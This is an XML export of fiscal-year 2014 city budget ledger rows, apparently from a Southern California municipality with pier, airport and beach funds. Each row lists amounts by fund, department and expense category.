<row _id="6929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1357.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1357.0</total></row>
<row _id="6930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="6931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6190.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6190.0</total></row>
<row _id="6932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="6933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5176.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5176.0</total></row>
<row _id="6934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7663.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7663.0</total></row>
<row _id="6935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>482.0</total></row>
<row _id="6936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="6937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="6938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>61558.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61558.0</total></row>
<row _id="6939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10800.0</total></row>
<row _id="6940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>AMORT/ACCRET</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-55849.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-55849.0</total></row>
<row _id="6941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>83794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>83794.0</total></row>
<row _id="6942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125.0</total></row>
<row _id="6943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>128154.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>128154.0</total></row>
<row _id="6944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="6945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4523.0</total></row>
<row _id="6946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="6947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="6948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52531.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52531.0</total></row>
<row _id="6949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7594.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7594.0</total></row>
<row _id="6955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3715.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3715.0</total></row>
<row _id="6956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1663.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1663.0</total></row>
<row _id="6957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4352.0</total></row>
<row _id="6958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16101.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16101.0</total></row>
<row _id="6959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>835.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>835.0</total></row>
<row _id="6961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10744.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10744.0</total></row>
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<row _id="6987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10352.0</total></row>
<row _id="6989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15500.0</total></row>
<row _id="6990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="6991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100318.0</total></row>
<row _id="6992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>404940.0</object><object_description>AB2766 MBILE SRCE AIR POLL FEE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-110000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="6993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>ACCRUED INVESTMENT INCOME</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>37381.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37381.0</total></row>
<row _id="6994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>394855.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>394855.0</total></row>
<row _id="6995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2306.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2306.0</total></row>
<row _id="6996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="6997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>256.0</total></row>
<row _id="6998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44322.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44322.0</total></row>
<row _id="6999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8038.0</total></row>
<row _id="7000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20122.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20122.0</total></row>
